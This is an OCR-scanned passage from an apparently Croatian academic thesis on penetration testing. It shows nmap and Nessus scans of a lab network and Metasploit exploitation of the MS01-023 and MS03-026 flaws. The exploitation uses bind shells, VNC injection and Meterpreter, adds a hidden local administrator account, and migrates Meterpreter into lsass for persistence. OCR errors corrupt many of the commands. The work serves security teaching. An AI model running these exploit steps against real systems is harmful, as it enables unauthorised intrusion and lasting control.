na ovom racunalu je otvoren veliki broj portova. Otvoreni su portovi 21, 25, 80, 135,
139, 443, 445, 1025 i 1026. Na portu 80 pokrenut je Microsoft IIS 5.0 Web posluZzitel,.
Prema tome moze se zaklju€iti da je ovo raCunalo drugi posluZzitelj na mrezi. Prema
verziji Web posluzitelja moze se zakljuciti da se radi o Windows 2000 operacijskom
sustavu.

bt nmap -sS -sV 192.168.1.111

Starting Nmap 4.20 ( http://insecure.org ) at 2008-05-27 20:24 GMT
Interesting ports on 192.168.1.111:
Mot shown: 1688 closed ports

PORT STATE SERVICE VERSION

21/tcp  open ftp Microsoft ftpd 5.0

25/tcp  open smtp Microsoft ESMTP 5.0.2172.1
80/tcp  open http Microsoft IIS webserver 5.0
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

443/tcp open https?

445/tcp open microsoft-ds Microsoft Windows XP microseft-ds

1025/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
1026/tcp open mstask Microsoft mstask (task server - c:\winnt\system32\Mstask.exe)
MAC Address: ©0:0C:29:02:95:8F (VMware)

Service Info: Host: winZk; 0S: Windows

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submits .

Wmap finished: 1 IP address (1 host up) scanned in 57.747 seconds
bt

Slika 7.7: Rezultat skeniranja IP adrese 192.168.1.111

Na slici 7.8 prikazan je rezultat skeniranja raCunala s IP adresom 192.168.1.254.
Otvoreno je nekoliko portova. Otvoreni portovi su: 21, 23, 80, 443 i 1723. U ispisu
rezultata skeniranja vidi se da se radi o drugom usmjerivacu koji se nalazi na mrezi
(pod vrstom uredaja piSe "broadband router”). Na portu 80 pokrenut je posluzitelj koji
omogucava Web konfiguraciju samog usmijerivaca.

bt nmap -s5 -sV 192.168.1.254

Starting Nmap 4.20 ( http://insecure.org ) at 2008-05-27 20:26 GMT
Interesting ports on 192.168.1.254:

Not shown: 1691 filtered ports

PORT STATE SERVICE VERSTION

21/tcp  open  ftp Alcatel Speedtouch aDSL router ftpd
23/tcp  open  telnet Alcatel/Thomson SpeedTouch DSL router admin interface
8@/tcp  open  http Alcatel/Thomson SpeedTouch aDSL http config 1.@

443/tcp open  tcpwrapped

1723/tcp open  pptp?

5060/tcp closed sip

MAC Address: 00:14:7F:73:A2:C1 (Thomson Telecom Belgium)
Service Info: Device: broadband router

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .

Nmap finished: 1 IP address (1 host up) scanned in 80.779 seconds
bt

Slika 7.8: Rezultat skeniranja IP adrese 192.168.1.254

7.2 Analiza ranjivosti mreze s Nessus programskim alatom

Za trazenje poznatih ranjivosti u sustavu koristi se programski alat Nessus. Potraga
za potencijalnim propustima obavlja se samo na posluZitelima. Kako se radi o
posluziteljima na lokalnoj mrezi oni sigurno sadrze dosta zanimljivih informacija i o
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Za pocCetak skeniranja potrebno je zadati IP adrese raCunala koja se skeniraju. U
Nessus se unose sliedece IP adrese: 192.168.1.110 i 192.168.1.111. Klikom na
gumb + dodaju se IP adrese, jedna po jedna. (Slika 7.9) Prije poCetka skeniranja
potrebno je spojiti se na Nessus posluzitelj, kako bi skeniranje bilo mogucée. Klikom
na gumb Connect i odabirom Zeljenog posluZitelja Nessus klijent se spaja na
odabrani posluzitel;.

5 Messus ¢ Untitled

File Help

Scan | Repork

febwork{s) to scan Select a scan policy :

192,168,1,110 Default scan policy

192.168.1.111 Microsoft Patches

- Edit... - Edt...
Scan Mow

Slika 7.9: Glavni prozor Nessusa

Nakon Sto se unesu IP adrese i nakon Sto se Nessus klijent spoji na Nessus
posluzitelj potrebno je odabrati politiku skeniranja. Odabire se standardna politika
skeniranja (Default scan policy), ali s izmjenama. Potrebno je odabrati samo opcije
koje se tiCu operacijskog sustava Windows, kako se testovi koji se ne mogu
primijeniti na operacijski sustav Windows ne bi bespotrebno pokretali i bespotrebno
produzili vrijeme skeniranja. Odabranu politiku skeniranja moguce je izmijeniti klikom
na gumb Edit i odabirom Zeljenih opcija, te spremanje odabranih opcija klikom na
gumb Save. (Slika 7.10)
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Slika 7.10: Odabir dodataka za skeniranje

Nakon $to su obavljene sve potrebne pripreme za skeniranje klikom na gumb Scan
Now pocinje skeniranje zadanih IP adresa.

Nakon nekog vremena skeniranje je gotovo. Rezultate skeniranja moguce je
konvertirati u html datoteku, klikom na gumb Export i odabirom html kao vrste
datoteke u koju se konvertiraju rezultati.

Na pocetku izvjeStaja za svako raCunalo je informacija o tome koliko je portova
otvoreno na skeniranom racunalu, vrsta operacijskog sustava, te broj propusta i
njihova "tezina" (visoko, srednje i nisko riziCni) i jo§ par drugih manje bitnih
informacija.

Na slici 7.11 prikazana je informacija o racunalu s IP adresom 192.168.1.110.
Prepoznat je operacijski sustav Windows Server 2003. Pronadeno je ukupno 37
propusta, od kojih je 28 nisko rizi€nih, 2 srednje rizi¢nih i 7 visoko rizi¢nih.
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192.168.1.110

Scan kirme :

Stark time : Wed May 28 15:22:57 2008
End time : Wwed May 28 15:25:56 2008
Mumber of vulnerabilities :
Open porks 10
Liw 28
Medium : 2
High : 7
Information about the remote host :
Operating system @ Microsaft Windows Server 2003
MetBIOS name : WIMZK S-SR
DS name WIN2KI-5RY,

Slika 7.11: Pronadeni propusti na ra¢unalu s IP adresom 192.168.1.110

Na slici 7.12 prikazana je informacija o raCunalu s IP adresom 192.168.1.111.
Prepoznat je operacijski sustav Windows 2000 Professional. Pronadeno je ukupno
preko 200 propusta, od kojih je ¢ak 166 visokorizi¢nih.

192.168.1.111

Scan kime

Start time : Wed May 28 15:22:57 2006
End time : Wed May 28 15:26:40 2008
Murnber of sulnerabilities
Cpen ports 14
Lo 49
PMediurn : 4n
High : 1B
Information about the remote host :
Operating swskem : Microsoft Windows 2000 Professional {English)
MetEIOS name : WINEE
CMS name : WWINEE,

Slika 7.12: Pronadeni propusti na ra¢unalu s IP adresom 192.168.1.110

Neki od pronadenih propusta iskoriStavaju se u sljedecem koraku penetracijskog
ispitivanja kako bi se penetriralo u racunalo i kako bi se dobila potpuna kontrola nad
raCunalom.

7.3 Penetracija

Za penetraciju u sustav koristi se MSF. Koristi se komandno-linijsko sucelje.
IskoriStavaju se neki od pronadenih propusta u prethodnom koraku. Propusti se
iskoriStavaju kako bi se dobile sistemske privilegije, a i da bi se pokazalo da je
rezultat skeniranja pronadenog propusta bio tocan.

Prvi propust koji se iskoriStava je sigurnosni propust u RPC servisu na ra¢unalu na
kojem je instaliran Windows 2003 Server. IskoriStavanje ovog sigurnosnog propusta
omogucava izvodenje proizvoljnog koda na kompromitiranom racunalu. Pronadeni
propust i informacije o njemu prikazane su na slici 7.13.
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Microsoft RPC Interface Buffer Overrun (§23980)

Synopsis @

Arbitrary code can be executed on the remote host,

Description :

The remate version of Windows contains a Flaw in the function
Remoteactivation() in its RPC interface which may allow an attacker ta

execute arbitrary code on the remate host with the SYSTEM privileges,

A series of worms (Blaster) are known to exploit this vulnerabiliy in the
wild,

Solution :

hikkpe: f v, microsoft, comftechnet/security fbulletingMS03-026 . msp:

Risk factor :

Critical / ©VS5 Base Score : 10,0
(CYSSZRAY NI LI NI C T

CWE @ CYE-2003-0352

BID : 8205

Other references @ 1AYA:2003-A-0011, OSYDE:2100

Messus ID ;L1808

Slika 7.13: Pronadeni propust u RPC servisu

Drugi propust koji se iskoriStava je greSka u Microsoft 1IS 5.0 Web posluzitelju na
racunalu na kojem je instaliran Windows 2000 Professional. Isto kao i prethodni
propust, omogucava izvodenje proizvoljnog koda na kompromitiranom racunalu.
Pronadeni propust i informacije o njemu prikazani su na slici 7.14.

NT IIS 5.0 Malformed HTTP Printer Request Header Buffer Overflow Yulnerability

Synopsis :

Arbitrary code can be execute on the remote host thru II5
Description :

The remote version of the 115 web server contains a bug
which might be used by an attacker to execute arbitrary
code on the remote system,

To exploit this volnerability, an attacker would need to
send a specially malformed HTTPY1.1 request to the remote
host containing an offensive payload.

Solution:

hikkpe v, microsoft . comftechnet fsecurity/bulletingms01-025, mspe:

See also:

http:f v eeve . comfhtmliR esearch/Advisories/AD2001 0501 . htral

Risk factor :

Crikical | C¥SS Base Score @ 10
(CYSSZRA AT L AN L O8O
CVE @ CWE-2001-0241

EID @ 2674

Messus [0 106857

Slika 7.14: Pronadeni propust u 1IS 5.0 Web posluzitelju

Penetracija u sustav prikazana je kroz tri primjera. Prvi primjer je dolazak do
komandne ljuske kompromitiranog raCunala. Drugi primjer je dobivanje potpune
kontrole nad grafickim suceljem kompromitiranog racunala. Treci primjer je koriStenje
Meterpretera za potpunu kontrolu kompromitiranog racunala.

7.3.1 Primjer1

U ovom primjeru iskoriStava se propust u IIS 5.0 Web posluzitelju na racunalu na
kojem je instaliran operacijski sustav Windows 2000. Cilj je iskoristiti propust kako bi
se dobila komandna ljuska kompromitiranog racunala i s time potpuna kontrola nad
tim racunalom.
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U MSF-u se postavljaju sljedeci parametri: (Slika 7.15)
o exploit: windows/1is/ms01_023 printer
e payload: windows/shell/bind_tcp
e |P adresa udaljenog raCunala: 192.168.1.111
e podrzana meta napada: O

Za sve ostale parametre koriste se standardne opcije.

msf = use windows/iis/ms0l 023 printer

msf exploit(ms@l_023 printer) = set RHOST 192.168.1.111
RHOST == 192.168.1.111

msf exploit(ms@l_023 printer) > set TARGET @

TARGET == 0

msf exploit(ms@1_023_printer) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD == windows/shell/bind tcp

Slika 7.15: Postavljanje potrebnih parametara

Nakon S§to su postavljeni svi parametri exploit se pokre¢e naredbom exploit.
Nakon sto se exploit uspjeSno izvrsi dobije se komandna ljuska racunala na kojem je
instaliran operacijski sustav Windows 2000. (Slika 7.16)

mst exploitims0l 023 printer) = exploit

[*] Started bind handler

[*] Sending stage (474 bytes)

[*] Command shell session 1 opened (192.168.1.102:56660 -> 192.168.1.111:4444)

Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-1999 Microsoft Corp.

C:\WINNT\systen32:]]

Slika 7.16: Rezultat izvodenja exploita

Kao dokaz da je dobivena komandna ljuska bas komandna ljuska racunala s IP
adresom 192.168.1.111 izvodi se naredba 1pconfig /Zall. Rezultat izvodenja ove
naredbe u dobivenoj komandnoj ljusci prikazan je na slici 7.17.

Prema slici se vidi da je dobivena komanda ljuska stvarno komanda ljuska racunala s
IP adresom 192.168.1.111. S ovime je dokazano da je exploit uspjeSno izvrden, te da
je pronadeni propust stvarna prijetnja za ovo racunalo.
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mst exploit(ms@l_023 printer] = exploit

[#] Started bind handler

[#] Sending stage (474 bytes)

[#] Command shell session 1 opened (192.168.1.102:53303 -=> 192.168.1.111:4444)

Microsoft Windows 2000 [Version 5.080.2195]
(C) Copyright 1985-1999 Microsoft Corp.

CAWINNTYsystem32=ipconfig /fall
ipconfig /all

Windows 2800 IP Configuration

Host Mame . . . . . . . . . . . . ! winZk
Primary DNS Suffix . - md

Mode Type . . . . . . . . . . . . ! Broadcast
IP Routing Enabled. . . . . . . . ! No

WINS Proxy Enabled. . . . . . . . : No

Ethernet adapter Local Area Connection:

Connection-specific DNS Suffix

Description . . . . . . . . . . . ! VMware Accelerated AMD PCNet Adapte
FPhysical Address. . . . . . . . . : 00-0C-29-02-95-8F

DHCP Enabled. . . . . . . . . . . ! No

IP Address. . . . . . . . . . . . : 192,168.1.111

Subnet Mask . . . . . . . . . . . : 255,255.255.0
Default Gateway . :
DNS Serwvers .

C:\WINNT\systen32>f]

Slika 7.17: Rezultat izvodenja naredbe ipconfig /all

7.3.2 Primjer 2

U ovom primjeru iskoriStava se pronadeni propust u RPC servisu na Windows 2003
posluzitelju. Propust se iskoriStava kako bi se dobila potpuna kontrola nad racunalom
preko grafiCkog sucelja.

U MSF-u se postavljaju sljedeci parametri: (Slika 7.18)
e exploit: windows/dcerpc/ms03_026_dcom
e payload: windows/vncinject/bind_tcp
e |P adresa udaljenog racunala: 192.168.1.110
e podrzana meta napada: O

Za sve ostale parametre koriste se standardne opcije. Odabrani payload omoguéuje
ubacivanje VNC DLL posluzitelja u memoriju iskoristenog procesa.
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msf = use windows/dcerpc/ms@3_026_dcom

mst exploitims@3_026 dcom) = set RHOST 192.1568.1.110

RHOST == 192.168.1.110

mst exploit{ms03_026 dcom) = set TARGET @

TARGET == 0

msf exploitims03 026 dcom) = set PAYLOAD windows/vncinject/bind tecp
PAYLOAD => windows/wncinject/bind tcp

mst exploit{ms@3_026_dcom) = ||

Slika 7.18: Postavljanje potrebnih parametara

Nakon Sto su postavljeni svi parametri exploit se pokreée naredbom exploit.
Rezultat uspjeSnog izvodenja exploita je dobiveno grafiCko sucelje racunala nad
kojim je pokrenut exploit. (Slika 7.19)

TightVNC: VNCShell [SYSTEM@WIN2K3-SRV] - Full Access

ot Metasploit Courtesy Shell {TM)

Microsoft Windows [Version 5.2.37281
CC> Copyright 1985-2883 Microsoft Corp.

C:\WINDOWS s ystem32>

‘Welcome to Windows

Microsaft: e
/7 Windows Server2003

¥ Enterprise Edfdon
Capyright © 1885-2003 Microsoft Cnrfrllnll

&= Press Ctrl-alt-Delete to begi.

Reequiring this key combination at startup helps keep your
computer secure, For more information, click Help.

Slika 7.19: Dobiveno graficko sucelje uspjeSnim izvr§avanjem exploita

Osim grafickog sucelja dobivena je i potpuno funkcionalna komandna ljuska. Pomoéu
komandne ljuske moguce je npr. dodati novog korisnika. Tog novog korisnika
moguce je dodati u lokalne sistemske administratore i s novostvorenim korisnikom
prijaviti se na sustav preko dobivenog grafickog sucelja.

Kao primjer dodaje se novi korisnik pod imenom PENtest. Novi korisnik se dodaje
naredbom net user PENtest /add, a naredbom net localgroup
administrators PENtest /add korisniku se daju prava lokalnog administratora
sustava. (Slika 7.20)
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o Metasploit Courtesy shell (TH)

Microsoft Windows [WVersion 5.2.37781
(C» Copuyright 1985-2803 Microsoft Corp.

C:sWINDOWE system32net user PENtest ~add
The command completed successfully.

C:SUWINDOWS system32net localgroup administrators PEHtest ~add
The command completed successfully.

GiSUINDOUS S systemd2 >

Slika 7.20: Dodavanje novog korisnika

Nakon $to je novi korisnik uspjeSno dodan moguce se je prijaviti na sustav koristeci
podatke od korisnika koji je upravo stvoren. Kao korisni¢ko ime unosi se PENtest, a
korisniC¢ka lozinka ostaje prazna. (Slika 7.21)

Log On to Windows

T 5\ -
1 g Ve

2003 Micrasoll Conporation

User nare: I PEMEesE

Passward: I |

(0] Cancel | Cpkions == |
L\%

Slika 7.21: Prozor za prijavu na kompromitirano racunalo

Nakon prijave dobivena je potpuna kontrola nad grafickim suceljem sustava, s
administratorskim pravima. S ovime je dokazano da pronadeni propust predstavlja
stvarnu sigurnosnu prijetnju.

7.3.3 Primjer 3

| u ovom primjeru iskoriStava se pronadeni propust u RPC servisu na Windows 2003
posluzitelju. Kao payload koristi se meterpreter kako bi se dobila potpuna kontrola
nad sustavom.

U MSF-u se postavljaju sljedeci parametri: (Slika 7.22)
e exploit: windows/dcerpc/ms03_026_dcom
e payload: windows/meterpreter/bind_tcp
e |P adresa udaljenog racunala: 192.168.1.110
e podrzana meta napada: O

Za sve ostale parametre koriste se standardne opcije.
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msf = use windows/dcerpc/ms03_026 dcom

mst exploit(ms@3_026 dcom) = set RHOST 192.168.1.110

RHOST == 192.168.1.110

msf exploitims@3 026 dcom) = set TARGET @

TARGET == 0

msf exploitims03 026 dcom) = set PAYLOAD windows/meterpreter/bind tcp
PAYLOAD == windows/meterpreter/sbind_tcp

msf exploit(ms03_026 dcom) = ||

Slika 7.22: Postavljanje potrebnih parametara

Nakon postavljenih parametara exploit se pokrece naredbom exploit. Kao rezultat
dobije se meterpreter komandna ljuska. (Slika 7.23)

msf exploit(ms@3 026 dcom) > exploit

[#] Started bind handler

[*] Trying target Windows NT SP3-6a/2000/XP/2003 Universal...

[*] Binding to 4d9fdabs-7dlc-1lcf-B86le-0020af6e7c57:0.0@Ncacn_ip_tcp:192.168.1.110[135]
[*] Bound to 4d9fdabs-7dlc-1lcf-86le-0020af6e7c57:0.0@ncacn_ip tcp:192.168.1.110[135]
[*] Sending exploit ...

[*] Transmitting intermediate stager for over-sized stage...(89 bytes]

[*] Sending stage (2834 bytes)

[*] Sleeping before handling stage..

[*] Uploading DLL (81931 bytes)...

[#] Upload completed.

[#*] The DCERPC service did not reply to our request

[*] Meterpreter session 1 opened (192.168.1.102:40709 -> 192.168.1.110:4444)

meterpreter > |

Slika 7.23: Rezultat izvodenja exploita

Nakon Sto se uspjesno dobije komandna ljuska meterpretera ostvarena je potpuna
kontrola nad kompromitiranim sustavom. Meterpreter ljuska pruza veliki izbor akcija
koje je moguce provesti na kompromitiranom racunalu.

Pomoc¢u meterpretera moguce je pokrenuti bilo koji program koji se nalazi na disku
kompromitiranog raCunala. Jedina mana ovoga je da se pokrenuti program ne moze
sakriti od liste procesa na sustavu. Proizvoljni program moguce je pokrenuti pomocu
naredbe execute s odgovarajuc¢im parametrima. Komandnu linijju moguce je
pokrenuti na sljedeci nacin: execute —f cmd.exe —1i. (Slika 7.24)

meterpreter = execute -f cmd.exe -i
Process 1376 created,

Channel 3 created.

Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C: \WINDOWS\systen32=}]

Slika 7.24: Komandna ljuska na kompromitiranom racunalu

Da se dobije popis trenutno aktivnih procesa na kompromitiranom sustavu potrebno
je izvrsiti naredbu ps. (Slika 7.25)
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meterpreter = ps

Process list

384
464
508
520
692
744
08
952
954
1128
1156
1284
1332
1360
1396
1576
1672
176
924
1948
320
368

SMSS . exe
C5I55, exe
winlogon. exe
sarvices, exe
lsass. exe
svchost. exe
svchost. exe
svchost. exe
svchost. exe
svchost. exe
spoolsv. exe
msdtec. exe
svchost. exe
inetinfo. exe
svchost. exe
VMwareService, exe
svchost. exe
Dfsswc. exe
wniprvse. exe
Explorer.EXE
VMwareTray. exe
VMwarellser., exe
wpabaln.exe

meterpreter > |j

Moguce je i terminirati pokrenuti proces. Naredbom Kkill

Path

YWSystemRoothSystem32\smss. exe
VITACAWINDOWS  system32\csrss. exe
PPN AWINDOWS, system32hwinlogon. exe

C

Lo T e T O T Y e T e O e Y e T O e T e A I e B e B |

SAWINDOWSh\system32\services.exe
SAWINDOWSYsystem32h1sass. exe
SAWINDOWSh\system32\svchost. exe

D \WINDOWSYSystem32ysvchost. exe
S\WINDOWShsystem32\svchost.exe
SAWINDOWShsystem32\svchost. exe
D\WINDOWSYSystem32ysvchost. exe
SAWINDOWShsystem32yspoolsv. exe
SAWINDOWShsystem32ymsdtc. exe

S A\WINDOWShSystem32hsvchost. exe
SAWINDOWShsystem32hinetsrviinetinfo. exe
SAWINDOWSh\system32hsvchost.exe

:\Program Files\VMwaret\VMware Tools\WMwareService.exe
D AWINDOWShSystem32hsvchost. exe
D\WINDOWShsystem32\Dfssve . exe
S\WINDOWShsystem32\whem\wniprvse. exe

S \WINDOWSh\Explorer.EXE

:\Program Files\VMware\VMware Tools\VMwareTray.exe
(\Program Files‘\VMware\VMware Tools\VMwareUser,exe
SAWINDOWSYsystem32hwpabaln. exe

Slika 7.25: Ispis svih aktivnih procesa

1376 terminira se

pokrenuta komandna ljuska, gdje je 1376 dobiveni procesni identifikator za pokrenuti
program. (Slika 7.26)

meterpreter = kill 1376
Killing: 1376
meterpreter = ||

Slika 7.26: Terminiranje procesa

Jedna od zanimljivih mogucénosti meterpretera je moguénost migriranja samog
meterpretera s iskoriStenog procesa na neki drugi aktivni proces. To se jednostavno

obavlja naredbom migrate.

Npr. mogucée je migrirati meterpreter na /ssas.exe

izvodenjem naredbe migrate 520 (520 je identifikator za Issas.exe). Migriranjem
na Issas.exe osigurava se da se meterpreter moze terminirati jedino ako se resetira
kompromitirano racunalo. (Slika 7.27)

meterpreter > migrate 520

[#] Migrating to 520...

[#] Migration completed successfully.
meterpreter = ||

Slika 7.27: Migracija meterpretera
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8. Zakljuéak

U danasnjem racCunalnom svijetu jako je bitna sigurnost u raCunalnim sustavima.
Razvitkom raCunalne tehnologije razvija se i sigurnosna tehnologija, te razliCite
sigurnosne tehnike. Penetracijsko ispitivanje pokazalo se kao jedna od najboljih
metoda za utvrdivanje sigurnosnog stanja raCunalnog sustava. Najbolje prikazuje
trenutno sigurnosno stanje ispitivanog raCunalnog sustava. Penetracijsko ispitivanje
daje uvid u racunalni sustav na nacin na koji ga vide stvarni napadaci. UspjeSno i
pravovremeno provodenje penetracijskog ispitivanja kao rezultat daje uklanjanje
sigurnosnih propusta prije nego Sto ih napadac iskoristi. Penetracijsko ispitivanje
postalo je i jako bitan dio analize procjene rizika racunalnih sustava.

MSF se pokazao kao jedna od najboljih sigurnosnih platformi za provodenje
penetracijskog ispitivanja. MSF penetracijskom ispitivau znacCajno olakSava i
ubrzava proces penetracije u ispitivani racunalni sustav. Sa svojim dodatnim
mogucnostima znac€ajno skracuje i ubrzava razvoj vlastitih exploita. Zbog raznih
dodataka omogucava penetracijskom ispitivaCu da se kod izrade vlastitih exploita
koncentrira samo na iskoristavanje pronadene ranjivosti. Jedno od najboljih svojstava
MSF-a je to da pruza veliku fleksibilnost Sto napraviti nakon uspjeSnog penetriranja u
raCunalni sustav. Jedna od najboljih mogucnosti MSF-a je meterpreter. Sa
meterpreterom MSF se priblizio komercijalnim alatima iste namjene. Meterpreter
penetracijskom ispitivacu pruza veliku fleksibilnost i velike moguénosti Sto naprauviti
nakon uspjeSnog penetriranja u racunalni sustav. Jedina mana MSF-a je da nema
exploita za iskoriStavanje razli€itih sigurnosnih propusta u Web aplikacijama. Danas
su Web aplikacije jako rasprostranjene i Ceste na Internetu. Vec¢inom penetracijskih
ispitivanja ba$ se ispituju Web aplikacije organizacija, jer su one najistaknutiji dio
organizacije na Internetu. Kako Web aplikacije postaju sve vece i kompleksnije, tako
se povecava i mogucnost pojave sigurnosnog propusta u Web aplikacijama i jako je
bitno provoditi penetracijsko ispitivanje Web aplikacija. Kako se MSF stalno i brzo
razvija samo je pitanje vremena kada ¢e biti u mogucnosti iskoriStavati i sigurnosne
propuste unutar razlicitih Web aplikacija.

Penetracijsko ispitivanje sigurnosti danas polako ve¢ postaje standard. Sve
organizacije koje drze do svoje sigurnosti i korisnika provode penetracijsko ispitivanje
sigurnosti svojih racunalnih sustava, kako bi osigurale prihvatljivu razinu sigurnosti.
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